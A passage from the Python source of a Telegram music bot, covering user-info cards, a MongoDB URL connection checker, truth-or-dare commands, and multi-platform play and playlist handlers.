async for user in app.get_chat_members(
chat_id, filter=ChatMembersFilter.ADMINISTRATORS
):
if user.privileges.can_manage_video_chats:
adminlist[chat_id].append(user.user.id)
authusers = await get_authuser_names(chat_id)
for user in authusers:
user_id = await alpha_to_int(user)
adminlist[chat_id].append(user_id)
except:
continue
asyncio.create_task(auto_clean())
================================================
FILE: BrandrdXMusic/plugins/misc/info.py
================================================
import asyncio, os, time, aiohttp
from pathlib import Path
from PIL import Image, ImageDraw, ImageFont
from asyncio import sleep
from BrandrdXMusic import app
from pyrogram import filters, Client, enums
from pyrogram.enums import ParseMode
from pyrogram.types import *
from typing import Union, Optional
import random
random_photo = [
"https://telegra.ph/file/1949480f01355b4e87d26.jpg",
"https://telegra.ph/file/3ef2cc0ad2bc548bafb30.jpg",
"https://telegra.ph/file/a7d663cd2de689b811729.jpg",
"https://telegra.ph/file/6f19dc23847f5b005e922.jpg",
"https://telegra.ph/file/2973150dd62fd27a3a6ba.jpg",
]
# --------------------------------------------------------------------------------- #
get_font = lambda font_size, font_path: ImageFont.truetype(font_path, font_size)
resize_text = (
lambda text_size, text: (text[:text_size] + "...").upper()
if len(text) > text_size
else text.upper()
)
# --------------------------------------------------------------------------------- #
async def get_userinfo_img(
bg_path: str,
font_path: str,
user_id: Union[int, str],
profile_path: Optional[str] = None
):
bg = Image.open(bg_path)
if profile_path:
img = Image.open(profile_path)
mask = Image.new("L", img.size, 0)
draw = ImageDraw.Draw(mask)
draw.pieslice([(0, 0), img.size], 0, 360, fill=255)
circular_img = Image.new("RGBA", img.size, (0, 0, 0, 0))
circular_img.paste(img, (0, 0), mask)
resized = circular_img.resize((400, 400))
bg.paste(resized, (440, 160), resized)
img_draw = ImageDraw.Draw(bg)
img_draw.text(
(529, 627),
text=str(user_id).upper(),
font=get_font(46, font_path),
fill=(255, 255, 255),
)
path = f"./userinfo_img_{user_id}.png"
bg.save(path)
return path
# --------------------------------------------------------------------------------- #
bg_path = "BrandrdXMusic/assets/userinfo.png"
font_path = "BrandrdXMusic/assets/hiroko.ttf"
# --------------------------------------------------------------------------------- #
INFO_TEXT = """**
❅─────✧❅✦❅✧─────❅
✦ ᴜsᴇʀ ɪɴғᴏ ✦
➻ ᴜsᴇʀ ɪᴅ ‣ **`{}`
**➻ ғɪʀsᴛ ɴᴀᴍᴇ ‣ **{}
**➻ ʟᴀsᴛ ɴᴀᴍᴇ ‣ **{}
**➻ ᴜsᴇʀɴᴀᴍᴇ ‣ **`{}`
**➻ ᴍᴇɴᴛɪᴏɴ ‣ **{}
**➻ ʟᴀsᴛ sᴇᴇɴ ‣ **{}
**➻ ᴅᴄ ɪᴅ ‣ **{}
**➻ ʙɪᴏ ‣ **`{}`
**❅─────✧❅✦❅✧─────❅**
"""
# --------------------------------------------------------------------------------- #
async def userstatus(user_id):
try:
user = await app.get_users(user_id)
x = user.status
if x == enums.UserStatus.RECENTLY:
return "Recently."
elif x == enums.UserStatus.LAST_WEEK:
return "Last week."
elif x == enums.UserStatus.LONG_AGO:
return "Long time ago."
elif x == enums.UserStatus.OFFLINE:
return "Offline."
elif x == enums.UserStatus.ONLINE:
return "Online."
except:
return "**sᴏᴍᴇᴛʜɪɴɢ ᴡʀᴏɴɢ ʜᴀᴘᴘᴇɴᴇᴅ !**"
# --------------------------------------------------------------------------------- #
@app.on_message(filters.command(["info", "userinfo"], prefixes=["/", "!", "%", ",", "", ".", "@", "#"]))
async def userinfo(_, message):
chat_id = message.chat.id
user_id = message.from_user.id
if not message.reply_to_message and len(message.command) == 2:
try:
user_id = message.text.split(None, 1)[1]
user_info = await app.get_chat(user_id)
user = await app.get_users(user_id)
status = await userstatus(user.id)
id = user_info.id
dc_id = user.dc_id
first_name = user_info.first_name
last_name = user_info.last_name if user_info.last_name else "No last name"
username = user_info.username if user_info.username else "No Username"
mention = user.mention
bio = user_info.bio if user_info.bio else "No bio set"
if user.photo:
# User has a profile photo
photo = await app.download_media(user.photo.big_file_id)
welcome_photo = await get_userinfo_img(
bg_path=bg_path,
font_path=font_path,
user_id=user.id,
profile_path=photo,
)
else:
# User doesn't have a profile photo, use random_photo directly
welcome_photo = random.choice(random_photo)
await app.send_photo(chat_id, photo=welcome_photo, caption=INFO_TEXT.format(
id, first_name, last_name, username, mention, status, dc_id, bio), reply_to_message_id=message.id)
except Exception as e:
await message.reply_text(str(e))
elif not message.reply_to_message:
try:
user_info = await app.get_chat(user_id)
user = await app.get_users(user_id)
status = await userstatus(user.id)
id = user_info.id
dc_id = user.dc_id
first_name = user_info.first_name
last_name = user_info.last_name if user_info.last_name else "No last name"
username = user_info.username if user_info.username else "No Username"
mention = user.mention
bio = user_info.bio if user_info.bio else "No bio set"
if user.photo:
# User has a profile photo
photo = await app.download_media(user.photo.big_file_id)
welcome_photo = await get_userinfo_img(
bg_path=bg_path,
font_path=font_path,
user_id=user.id,
profile_path=photo,
)
else:
# User doesn't have a profile photo, use random_photo directly
welcome_photo = random.choice(random_photo)
await app.send_photo(chat_id, photo=welcome_photo, caption=INFO_TEXT.format(
id, first_name, last_name, username, mention, status, dc_id, bio), reply_to_message_id=message.id)
except Exception as e:
await message.reply_text(str(e))
elif message.reply_to_message:
user_id = message.reply_to_message.from_user.id
try:
user_info = await app.get_chat(user_id)
user = await app.get_users(user_id)
status = await userstatus(user.id)
id = user_info.id
dc_id = user.dc_id
first_name = user_info.first_name
last_name = user_info.last_name if user_info.last_name else "No last name"
username = user_info.username if user_info.username else "No Username"
mention = user.mention
bio = user_info.bio if user_info.bio else "No bio set"
if user.photo:
# User has a profile photo
photo = await app.download_media(user.photo.big_file_id)
welcome_photo = await get_userinfo_img(
bg_path=bg_path,
font_path=font_path,
user_id=user.id,
profile_path=photo,
)
else:
# User doesn't have a profile photo, use random_photo directly
welcome_photo = random.choice(random_photo)
await app.send_photo(chat_id, photo=welcome_photo, caption=INFO_TEXT.format(
id, first_name, last_name, username, mention, status, dc_id, bio), reply_to_message_id=message.id)
except Exception as e:
await message.reply_text(str(e))
================================================
FILE: BrandrdXMusic/plugins/misc/mongochk.py
================================================
from pyrogram import Client, filters
from pyrogram.types import Message
from pymongo import MongoClient
import re
from BrandrdXMusic import app as Hotty
mongo_url_pattern = re.compile(r'mongodb(?:\+srv)?:\/\/[^\s]+')
@Hotty.on_message(filters.command("mongochk"))
async def mongo_command(client, message: Message):
if len(message.command) < 2:
await message.reply("Please enter your MongoDB URL after the command. Example: /mongochk your_mongodb_url")
return
mongo_url = message.command[1]
if re.match(mongo_url_pattern, mongo_url):
try:
# Attempt to connect to the MongoDB instance
client = MongoClient(mongo_url, serverSelectionTimeoutMS=5000)
client.server_info() # Will cause an exception if connection fails
await message.reply("𝗠𝗼𝗻𝗴𝗼𝗗𝗕 𝗨𝗥𝗟 𝗶𝘀 𝘃𝗮𝗹𝗶𝗱 𝗮𝗻𝗱 𝗰𝗼𝗻𝗻𝗲𝗰𝘁𝗶𝗼𝗻 𝘀𝘂𝗰𝗰𝗲𝘀𝘀𝗳𝘂𝗹✅")
except Exception as e:
await message.reply(f"Failed to connect to MongoDB: {e}")
else:
await message.reply("𝗜𝗻𝘃𝗮𝗹𝗶𝗱 𝗠𝗼𝗻𝗴𝗼𝗗𝗕 𝗨𝗥𝗟 𝗳𝗼𝗿𝗺𝗮𝘁💔")
================================================
FILE: BrandrdXMusic/plugins/misc/seeker.py
================================================
import asyncio
from BrandrdXMusic.misc import db
from BrandrdXMusic.utils.database import get_active_chats, is_music_playing
async def timer():
while not await asyncio.sleep(1):
active_chats = await get_active_chats()
for chat_id in active_chats:
if not await is_music_playing(chat_id):
continue
playing = db.get(chat_id)
if not playing:
continue
duration = int(playing[0]["seconds"])
if duration == 0:
continue
if db[chat_id][0]["played"] >= duration:
continue
db[chat_id][0]["played"] += 1
asyncio.create_task(timer())
================================================
FILE: BrandrdXMusic/plugins/misc/truth_dare.py
================================================
from pyrogram import Client, filters
import requests
import random
from BrandrdXMusic import app
# Truth or Dare API URLs
truth_api_url = "https://api.truthordarebot.xyz/v1/truth"
dare_api_url = "https://api.truthordarebot.xyz/v1/dare"
@app.on_message(filters.command("truth"))
def get_truth(client, message):
try:
# Make a GET request to the Truth API
response = requests.get(truth_api_url)
if response.status_code == 200:
truth_question = response.json()["question"]
message.reply_text(f"Truth question:\n\n{truth_question}")
else:
message.reply_text("Failed to fetch a truth question. Please try again later.")
except Exception as e:
message.reply_text("An error occurred while fetching a truth question. Please try again later.")
@app.on_message(filters.command("dare"))
def get_dare(client, message):
try:
# Make a GET request to the Dare API
response = requests.get(dare_api_url)
if response.status_code == 200:
dare_question = response.json()["question"]
message.reply_text(f"Dare question:\n\n{dare_question}")
else:
message.reply_text("Failed to fetch a dare question. Please try again later.")
except Exception as e:
message.reply_text("An error occurred while fetching a dare question. Please try again later.")
================================================
FILE: BrandrdXMusic/plugins/misc/watcher.py
================================================
from pyrogram import filters
from pyrogram.types import Message
from BrandrdXMusic import app
from BrandrdXMusic.core.call import Hotty
welcome = 20
close = 30
@app.on_message(filters.video_chat_started, group=welcome)
@app.on_message(filters.video_chat_ended, group=close)
async def welcome(_, message: Message):
await Hotty.stop_stream_force(message.chat.id)
================================================
FILE: BrandrdXMusic/plugins/play/channel.py
================================================
from pyrogram import filters
from pyrogram.enums import ChatMembersFilter, ChatMemberStatus, ChatType
from pyrogram.types import Message
from BrandrdXMusic import app
from BrandrdXMusic.utils.database import set_cmode
from BrandrdXMusic.utils.decorators.admins import AdminActual
from config import BANNED_USERS
@app.on_message(filters.command(["channelplay"]) & filters.group & ~BANNED_USERS)
@AdminActual
async def playmode_(client, message: Message, _):
if len(message.command) < 2:
return await message.reply_text(_["cplay_1"].format(message.chat.title))
query = message.text.split(None, 2)[1].lower().strip()
if (str(query)).lower() == "disable":
await set_cmode(message.chat.id, None)
return await message.reply_text(_["cplay_7"])
elif str(query) == "linked":
chat = await app.get_chat(message.chat.id)
if chat.linked_chat:
chat_id = chat.linked_chat.id
await set_cmode(message.chat.id, chat_id)
return await message.reply_text(
_["cplay_3"].format(chat.linked_chat.title, chat.linked_chat.id)
)
else:
return await message.reply_text(_["cplay_2"])
else:
try:
chat = await app.get_chat(query)
except:
return await message.reply_text(_["cplay_4"])
if chat.type != ChatType.CHANNEL:
return await message.reply_text(_["cplay_5"])
try:
async for user in app.get_chat_members(
chat.id, filter=ChatMembersFilter.ADMINISTRATORS
):
if user.status == ChatMemberStatus.OWNER:
cusn = user.user.username
crid = user.user.id
except:
return await message.reply_text(_["cplay_4"])
if crid != message.from_user.id:
return await message.reply_text(_["cplay_6"].format(chat.title, cusn))
await set_cmode(message.chat.id, chat.id)
return await message.reply_text(_["cplay_3"].format(chat.title, chat.id))
================================================
FILE: BrandrdXMusic/plugins/play/live.py
================================================
from pyrogram import filters
from BrandrdXMusic import YouTube, app
from BrandrdXMusic.utils.channelplay import get_channeplayCB
from BrandrdXMusic.utils.decorators.language import languageCB
from BrandrdXMusic.utils.stream.stream import stream
from config import BANNED_USERS
@app.on_callback_query(filters.regex("LiveStream") & ~BANNED_USERS)
@languageCB
async def play_live_stream(client, CallbackQuery, _):
callback_data = CallbackQuery.data.strip()
callback_request = callback_data.split(None, 1)[1]
vidid, user_id, mode, cplay, fplay = callback_request.split("|")
if CallbackQuery.from_user.id != int(user_id):
try:
return await CallbackQuery.answer(_["playcb_1"], show_alert=True)
except:
return
try:
chat_id, channel = await get_channeplayCB(_, cplay, CallbackQuery)
except:
return
video = True if mode == "v" else None
user_name = CallbackQuery.from_user.first_name
await CallbackQuery.message.delete()
try:
await CallbackQuery.answer()
except:
pass
mystic = await CallbackQuery.message.reply_text(
_["play_2"].format(channel) if channel else _["play_1"]
)
try:
details, track_id = await YouTube.track(vidid, True)
except:
return await mystic.edit_text(_["play_3"])
ffplay = True if fplay == "f" else None
if not details["duration_min"]:
try:
await stream(
_,
mystic,
user_id,
details,
chat_id,
user_name,
CallbackQuery.message.chat.id,
video,
streamtype="live",
forceplay=ffplay,
)
except Exception as e:
ex_type = type(e).__name__
err = e if ex_type == "AssistantErr" else _["general_2"].format(ex_type)
return await mystic.edit_text(err)
else:
return await mystic.edit_text("» ɴᴏᴛ ᴀ ʟɪᴠᴇ sᴛʀᴇᴀᴍ.")
await mystic.delete()
================================================
FILE: BrandrdXMusic/plugins/play/play.py
================================================
import random
import string
from pyrogram import filters
from pyrogram.types import InlineKeyboardMarkup, InputMediaPhoto, Message
from pytgcalls.exceptions import NoActiveGroupCall
import config
from BrandrdXMusic import Apple, Resso, SoundCloud, Spotify, Telegram, YouTube, app
from BrandrdXMusic.core.call import Hotty
from BrandrdXMusic.utils import seconds_to_min, time_to_seconds
from BrandrdXMusic.utils.channelplay import get_channeplayCB
from BrandrdXMusic.utils.decorators.language import languageCB
from BrandrdXMusic.utils.decorators.play import PlayWrapper
from BrandrdXMusic.utils.formatters import formats
from BrandrdXMusic.utils.inline import (
botplaylist_markup,
livestream_markup,
playlist_markup,
slider_markup,
track_markup,
)
from BrandrdXMusic.utils.logger import play_logs
from BrandrdXMusic.utils.stream.stream import stream
from config import BANNED_USERS, lyrical
@app.on_message(
filters.command(
[
"play",
"vplay",
"cplay",
"cvplay",
"playforce",
"vplayforce",
"cplayforce",
"cvplayforce",
]
)
& filters.group
& ~BANNED_USERS
)
@PlayWrapper
async def play_commnd(
client,
message: Message,
_,
chat_id,
video,
channel,
playmode,
url,
fplay,
):
mystic = await message.reply_text(
_["play_2"].format(channel) if channel else _["play_1"]
)
plist_id = None
slider = None
plist_type = None
spotify = None
user_id = message.from_user.id
user_name = message.from_user.first_name
audio_telegram = (
(message.reply_to_message.audio or message.reply_to_message.voice)
if message.reply_to_message
else None
)
video_telegram = (
(message.reply_to_message.video or message.reply_to_message.document)
if message.reply_to_message
else None
)
if audio_telegram:
if audio_telegram.file_size > 104857600:
return await mystic.edit_text(_["play_5"])
duration_min = seconds_to_min(audio_telegram.duration)
if (audio_telegram.duration) > config.DURATION_LIMIT:
return await mystic.edit_text(
_["play_6"].format(config.DURATION_LIMIT_MIN, app.mention)
)
file_path = await Telegram.get_filepath(audio=audio_telegram)
if await Telegram.download(_, message, mystic, file_path):
message_link = await Telegram.get_link(message)
file_name = await Telegram.get_filename(audio_telegram, audio=True)
dur = await Telegram.get_duration(audio_telegram, file_path)
details = {
"title": file_name,
"link": message_link,
"path": file_path,
"dur": dur,
}
try:
await stream(
_,
mystic,
user_id,
details,
chat_id,
user_name,
message.chat.id,
streamtype="telegram",
forceplay=fplay,
)
except Exception as e:
ex_type = type(e).__name__
err = e if ex_type == "AssistantErr" else _["general_2"].format(ex_type)
return await mystic.edit_text(err)
return await mystic.delete()
return
elif video_telegram:
if message.reply_to_message.document:
try:
ext = video_telegram.file_name.split(".")[-1]
if ext.lower() not in formats:
return await mystic.edit_text(
_["play_7"].format(f"{' | '.join(formats)}")
)
except:
return await mystic.edit_text(
_["play_7"].format(f"{' | '.join(formats)}")
)
if video_telegram.file_size > config.TG_VIDEO_FILESIZE_LIMIT:
return await mystic.edit_text(_["play_8"])
file_path = await Telegram.get_filepath(video=video_telegram)
if await Telegram.download(_, message, mystic, file_path):
message_link = await Telegram.get_link(message)
file_name = await Telegram.get_filename(video_telegram)
dur = await Telegram.get_duration(video_telegram, file_path)
details = {
"title": file_name,
"link": message_link,
"path": file_path,
"dur": dur,
}
try:
await stream(
_,
mystic,
user_id,
details,
chat_id,
user_name,
message.chat.id,
video=True,
streamtype="telegram",
forceplay=fplay,
)
except Exception as e:
ex_type = type(e).__name__
err = e if ex_type == "AssistantErr" else _["general_2"].format(ex_type)
return await mystic.edit_text(err)
return await mystic.delete()
return
elif url:
if await YouTube.exists(url):
if "playlist" in url:
try:
details = await YouTube.playlist(
url,
config.PLAYLIST_FETCH_LIMIT,
message.from_user.id,
)
except:
return await mystic.edit_text(_["play_3"])
streamtype = "playlist"
plist_type = "yt"
if "&" in url:
plist_id = (url.split("=")[1]).split("&")[0]
else:
plist_id = url.split("=")[1]
img = config.PLAYLIST_IMG_URL
cap = _["play_9"]
else:
try:
details, track_id = await YouTube.track(url)
except:
return await mystic.edit_text(_["play_3"])
streamtype = "youtube"
img = details["thumb"]
cap = _["play_10"].format(
details["title"],
details["duration_min"],
)
elif await Spotify.valid(url):
spotify = True
if not config.SPOTIFY_CLIENT_ID and not config.SPOTIFY_CLIENT_SECRET:
return await mystic.edit_text(
"» sᴘᴏᴛɪғʏ ɪs ɴᴏᴛ sᴜᴘᴘᴏʀᴛᴇᴅ ʏᴇᴛ.\n\nᴘʟᴇᴀsᴇ ᴛʀʏ ᴀɢᴀɪɴ ʟᴀᴛᴇʀ."
)
if "track" in url:
try:
details, track_id = await Spotify.track(url)
except:
return await mystic.edit_text(_["play_3"])
streamtype = "youtube"
img = details["thumb"]
cap = _["play_10"].format(details["title"], details["duration_min"])
elif "playlist" in url:
try:
details, plist_id = await Spotify.playlist(url)
except Exception:
return await mystic.edit_text(_["play_3"])
streamtype = "playlist"
plist_type = "spplay"
img = config.SPOTIFY_PLAYLIST_IMG_URL
cap = _["play_11"].format(app.mention, message.from_user.mention)
elif "album" in url:
try:
details, plist_id = await Spotify.album(url)
except:
return await mystic.edit_text(_["play_3"])
streamtype = "playlist"
plist_type = "spalbum"
img = config.SPOTIFY_ALBUM_IMG_URL
cap = _["play_11"].format(app.mention, message.from_user.mention)
elif "artist" in url:
try:
details, plist_id = await Spotify.artist(url)
except:
return await mystic.edit_text(_["play_3"])
streamtype = "playlist"
plist_type = "spartist"
img = config.SPOTIFY_ARTIST_IMG_URL
cap = _["play_11"].format(message.from_user.first_name)
else:
return await mystic.edit_text(_["play_15"])
elif await Apple.valid(url):
if "album" in url:
try:
details, track_id = await Apple.track(url)
except:
return await mystic.edit_text(_["play_3"])
streamtype = "youtube"
img = details["thumb"]
cap = _["play_10"].format(details["title"], details["duration_min"])
elif "playlist" in url:
spotify = True
try:
details, plist_id = await Apple.playlist(url)
except:
return await mystic.edit_text(_["play_3"])
streamtype = "playlist"
plist_type = "apple"
cap = _["play_12"].format(app.mention, message.from_user.mention)
img = url
else:
return await mystic.edit_text(_["play_3"])
elif await Resso.valid(url):
try:
details, track_id = await Resso.track(url)
except:
return await mystic.edit_text(_["play_3"])
streamtype = "youtube"
img = details["thumb"]
cap = _["play_10"].format(details["title"], details["duration_min"])
elif await SoundCloud.valid(url):
try:
details, track_path = await SoundCloud.download(url)
except:
return await mystic.edit_text(_["play_3"])
duration_sec = details["duration_sec"]
if duration_sec > config.DURATION_LIMIT:
return await mystic.edit_text(
_["play_6"].format(
config.DURATION_LIMIT_MIN,
app.mention,
)
)
try:
await stream(
_,
mystic,
user_id,
details,
chat_id,
user_name,
message.chat.id,
streamtype="soundcloud",
forceplay=fplay,
)
except Exception as e:
ex_type = type(e).__name__
err = e if ex_type == "AssistantErr" else _["general_2"].format(ex_type)
return await mystic.edit_text(err)
return await mystic.delete()
else:
try:
await Hotty.stream_call(url)
except NoActiveGroupCall:
await mystic.edit_text(_["black_9"])
return await app.send_message(
chat_id=config.LOGGER_ID,
text=_["play_17"],
)
except Exception as e:
return await mystic.edit_text(_["general_2"].format(type(e).__name__))
await mystic.edit_text(_["str_2"])
try:
await stream(
_,
mystic,
message.from_user.id,
url,
chat_id,
message.from_user.first_name,
message.chat.id,
video=video,
streamtype="index",
forceplay=fplay,
)
except Exception as e:
ex_type = type(e).__name__
err = e if ex_type == "AssistantErr" else _["general_2"].format(ex_type)
return await mystic.edit_text(err)
return await play_logs(message, streamtype="M3u8 or Index Link")
else:
if len(message.command) < 2:
buttons = botplaylist_markup(_)
return await mystic.edit_text(
_["play_18"],
reply_markup=InlineKeyboardMarkup(buttons),
)
slider = True
query = message.text.split(None, 1)[1]
if "-v" in query:
query = query.replace("-v", "")
try:
details, track_id = await YouTube.track(query)
except:
return await mystic.edit_text(_["play_3"])
streamtype = "youtube"
if str(playmode) == "Direct":
if not plist_type:
if details["duration_min"]:
duration_sec = time_to_seconds(details["duration_min"])
if duration_sec > config.DURATION_LIMIT:
return await mystic.edit_text(
_["play_6"].format(config.DURATION_LIMIT_MIN, app.mention)
)
else:
buttons = livestream_markup(
_,
track_id,
user_id,
"v" if video else "a",
"c" if channel else "g",
"f" if fplay else "d",
)
return await mystic.edit_text(
_["play_13"],
reply_markup=InlineKeyboardMarkup(buttons),
)
try:
await stream(
_,
mystic,
user_id,
details,
chat_id,
user_name,
message.chat.id,
video=video,
streamtype=streamtype,
spotify=spotify,
forceplay=fplay,
)
except Exception as e:
ex_type = type(e).__name__
err = e if ex_type == "AssistantErr" else _["general_2"].format(ex_type)
return await mystic.edit_text(err)
await mystic.delete()
return await play_logs(message, streamtype=streamtype)
else:
if plist_type:
ran_hash = "".join(
random.choices(string.ascii_uppercase + string.digits, k=10)
)
lyrical[ran_hash] = plist_id
buttons = playlist_markup(
_,
ran_hash,
message.from_user.id,
plist_type,
"c" if channel else "g",
"f" if fplay else "d",
)
await mystic.delete()
await message.reply_photo(
photo=img,
caption=cap,
reply_markup=InlineKeyboardMarkup(buttons),
)
return await play_logs(message, streamtype=f"Playlist : {plist_type}")
else:
if slider:
buttons = slider_markup(
_,
track_id,
message.from_user.id,
query,
0,
"c" if channel else "g",
"f" if fplay else "d",
)
await mystic.delete()
await message.reply_photo(
photo=details["thumb"],
caption=_["play_10"].format(
details["title"].title(),
details["duration_min"],
),
reply_markup=InlineKeyboardMarkup(buttons),
)
return await play_logs(message, streamtype=f"Searched on Youtube")
else:
buttons = track_markup(
_,
track_id,
message.from_user.id,
"c" if channel else "g",
"f" if fplay else "d",
)
await mystic.delete()
await message.reply_photo(
photo=img,
caption=cap,
reply_markup=InlineKeyboardMarkup(buttons),
)
return await play_logs(message, streamtype=f"URL Searched Inline")
@app.on_callback_query(filters.regex("MusicStream") & ~BANNED_USERS)
@languageCB
async def play_music(client, CallbackQuery, _):
callback_data = CallbackQuery.data.strip()
callback_request = callback_data.split(None, 1)[1]
vidid, user_id, mode, cplay, fplay = callback_request.split("|")
if CallbackQuery.from_user.id != int(user_id):
try:
return await CallbackQuery.answer(_["playcb_1"], show_alert=True)
except:
return
try:
chat_id, channel = await get_channeplayCB(_, cplay, CallbackQuery)
except:
return
user_name = CallbackQuery.from_user.first_name
try:
await CallbackQuery.message.delete()
await CallbackQuery.answer()
except:
pass
mystic = await CallbackQuery.message.reply_text(
_["play_2"].format(channel) if channel else _["play_1"]
)
try:
details, track_id = await YouTube.track(vidid, True)
except:
return await mystic.edit_text(_["play_3"])
if details["duration_min"]:
duration_sec = time_to_seconds(details["duration_min"])
if duration_sec > config.DURATION_LIMIT:
return await mystic.edit_text(
_["play_6"].format(config.DURATION_LIMIT_MIN, app.mention)
)
else:
buttons = livestream_markup(
_,
track_id,
CallbackQuery.from_user.id,
mode,
"c" if cplay == "c" else "g",
"f" if fplay else "d",
)
return await mystic.edit_text(
_["play_13"],
reply_markup=InlineKeyboardMarkup(buttons),
)
video = True if mode == "v" else None
ffplay = True if fplay == "f" else None
try:
await stream(
_,
mystic,
CallbackQuery.from_user.id,
details,
chat_id,
user_name,
CallbackQuery.message.chat.id,
video,
streamtype="youtube",
forceplay=ffplay,
)
except Exception as e:
ex_type = type(e).__name__
err = e if ex_type == "AssistantErr" else _["general_2"].format(ex_type)
return await mystic.edit_text(err)
return await mystic.delete()
@app.on_callback_query(filters.regex("AnonymousAdmin") & ~BANNED_USERS)
async def piyush_check(client, CallbackQuery):
try:
await CallbackQuery.answer(
"» ʀᴇᴠᴇʀᴛ ʙᴀᴄᴋ ᴛᴏ ᴜsᴇʀ ᴀᴄᴄᴏᴜɴᴛ :\n\nᴏᴘᴇɴ ʏᴏᴜʀ ɢʀᴏᴜᴘ sᴇᴛᴛɪɴɢs.\n-> ᴀᴅᴍɪɴɪsᴛʀᴀᴛᴏʀs\n-> ᴄʟɪᴄᴋ ᴏɴ ʏᴏᴜʀ ɴᴀᴍᴇ\n-> ᴜɴᴄʜᴇᴄᴋ ᴀɴᴏɴʏᴍᴏᴜs ᴀᴅᴍɪɴ ᴘᴇʀᴍɪssɪᴏɴs.",
show_alert=True,
)
except:
pass
@app.on_callback_query(filters.regex("HottyPlaylists") & ~BANNED_USERS)
@languageCB
async def play_playlists_command(client, CallbackQuery, _):
callback_data = CallbackQuery.data.strip()
callback_request = callback_data.split(None, 1)[1]
(
videoid,
user_id,
ptype,
mode,
cplay,
fplay,
) = callback_request.split("|")
if CallbackQuery.from_user.id != int(user_id):
try:
return await CallbackQuery.answer(_["playcb_1"], show_alert=True)
except:
return
try:
chat_id, channel = await get_channeplayCB(_, cplay, CallbackQuery)
except:
return
user_name = CallbackQuery.from_user.first_name
await CallbackQuery.message.delete()
try:
await CallbackQuery.answer()
except:
pass
mystic = await CallbackQuery.message.reply_text(
_["play_2"].format(channel) if channel else _["play_1"]
)
videoid = lyrical.get(videoid)
video = True if mode == "v" else None
ffplay = True if fplay == "f" else None
spotify = True
if ptype == "yt":
spotify = False
try:
result = await YouTube.playlist(
videoid,
config.PLAYLIST_FETCH_LIMIT,
CallbackQuery.from_user.id,
True,
)
except:
return await mystic.edit_text(_["play_3"])
if ptype == "spplay":
try:
result, spotify_id = await Spotify.playlist(videoid)
except:
return await mystic.edit_text(_["play_3"])
if ptype == "spalbum":
try:
result, spotify_id = await Spotify.album(videoid)
except:
return await mystic.edit_text(_["play_3"])
if ptype == "spartist":
try:
result, spotify_id = await Spotify.artist(videoid)
except:
return await mystic.edit_text(_["play_3"])
if ptype == "apple":
try:
result, apple_id = await Apple.playlist(videoid, True)
except:
return await mystic.edit_text(_["play_3"])
try:
await stream(
_,
mystic,
user_id,
result,
chat_id,
user_name,
CallbackQuery.message.chat.id,
video,
streamtype="playlist",
spotify=spotify,
forceplay=ffplay,
)
except Exception as e:
ex_type = type(e).__name__
err = e if ex_type == "AssistantErr" else _["general_2"].format(ex_type)
return await mystic.edit_text(err)
return await mystic.delete()
@app.on_callback_query(filters.regex("slider") & ~BANNED_USERS)
@languageCB
async def slider_queries(client, CallbackQuery, _):
callback_data = CallbackQuery.data.strip()
callback_request = callback_data.split(None, 1)[1]
(
what,
rtype,
query,
user_id,
cplay,
fplay,
) = callback_request.split("|")
if CallbackQuery.from_user.id != int(user_id):
try:
return await CallbackQuery.answer(_["playcb_1"], show_alert=True)
except:
return
what = str(what)
rtype = int(rtype)
if what == "F":
if rtype == 9:
query_type = 0
else:
query_type = int(rtype + 1)
try:
await CallbackQuery.answer(_["playcb_2"])
except:
pass
title, duration_min, thumbnail, vidid = await YouTube.slider(query, query_type)
buttons = slider_markup(_, vidid, user_id, query, query_type, cplay, fplay)
med = InputMediaPhoto(
media=thumbnail,
caption=_["play_10"].format(
title.title(),
duration_min,
),
)
return await CallbackQuery.edit_message_media(
media=med, reply_markup=InlineKeyboardMarkup(buttons)
)
if what == "B":
if rtype == 0:
query_type = 9
else:
query_type = int(rtype - 1)
try:
await CallbackQuery.answer(_["playcb_2"])
except:
pass
title, duration_min, thumbnail, vidid = await YouTube.slider(query, query_type)
buttons = slider_markup(_, vidid, user_id, query, query_type, cplay, fplay)
med = InputMediaPhoto(
media=thumbnail,
caption=_["play_10"].format(
title.title(),
duration_min,
),
)
return await CallbackQuery.edit_message_media(
media=med, reply_markup=InlineKeyboardMarkup(buttons)
)
================================================
FILE: BrandrdXMusic/plugins/play/playlist.py
================================================
import asyncio
import os
import time
from random import randint
from time import time
from typing import Dict, List, Union
import requests
from pykeyboard import InlineKeyboard
from pyrogram import filters
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message
from youtube_search import YoutubeSearch
from config import BANNED_USERS, SERVER_PLAYLIST_LIMIT
from BrandrdXMusic import Carbon, app
from BrandrdXMusic.utils.decorators.language import language, languageCB
from BrandrdXMusic.utils.inline.playlist import (
botplaylist_markup,
get_playlist_markup,
warning_markup,
)
from BrandrdXMusic.utils.pastebin import HottyBin
from BrandrdXMusic.utils.stream.stream import stream
# Define a dictionary to track the last message timestamp for each user
user_last_message_time = {}
user_command_count = {}
# Define the threshold for command spamming (e.g., 20 commands within 60 seconds)
SPAM_THRESHOLD = 2
SPAM_WINDOW_SECONDS = 5
from BrandrdXMusic.core.mongo import mongodb
playlistdb = mongodb.playlist
playlist = []
# Playlist Databse
async def _get_playlists(chat_id: int) -> Dict[str, int]:
_notes = await playlistdb.find_one({"chat_id": chat_id})
if not _notes:
return {}
return _notes["notes"]
async def get_playlist_names(chat_id: int) -> List[str]:
_notes = []
for note in await _get_playlists(chat_id):
_notes.append(note)
return _notes
async def get_playlist(chat_id: int, name: str) -> Union[bool, dict]:
name = name
_notes = await _get_playlists(chat_id)
if name in _notes:
return _notes[name]
else:
return False
async def save_playlist(chat_id: int, name: str, note: dict):
name = name
_notes = await _get_playlists(chat_id)
_notes[name] = note
await playlistdb.update_one(
{"chat_id": chat_id}, {"$set": {"notes": _notes}}, upsert=True
)
async def delete_playlist(chat_id: int, name: str) -> bool:
notesd = await _get_playlists(chat_id)
name = name
if name in notesd:
del notesd[name]
await playlistdb.update_one(
{"chat_id": chat_id},
{"$set": {"notes": notesd}},
upsert=True,
)
return True
return False
# Command
ADDPLAYLIST_COMMAND = "addplaylist"
PLAYLIST_COMMAND = "playlist"
DELETEPLAYLIST_COMMAND = "delplaylist"
@app.on_message(filters.command(PLAYLIST_COMMAND) & ~BANNED_USERS)
@language
async def check_playlist(client, message: Message, _):
user_id = message.from_user.id
current_time = time()
# Update the last message timestamp for the user
last_message_time = user_last_message_time.get(user_id, 0)
if current_time - last_message_time < SPAM_WINDOW_SECONDS:
# If less than the spam window time has passed since the last message
user_last_message_time[user_id] = current_time
user_command_count[user_id] = user_command_count.get(user_id, 0) + 1
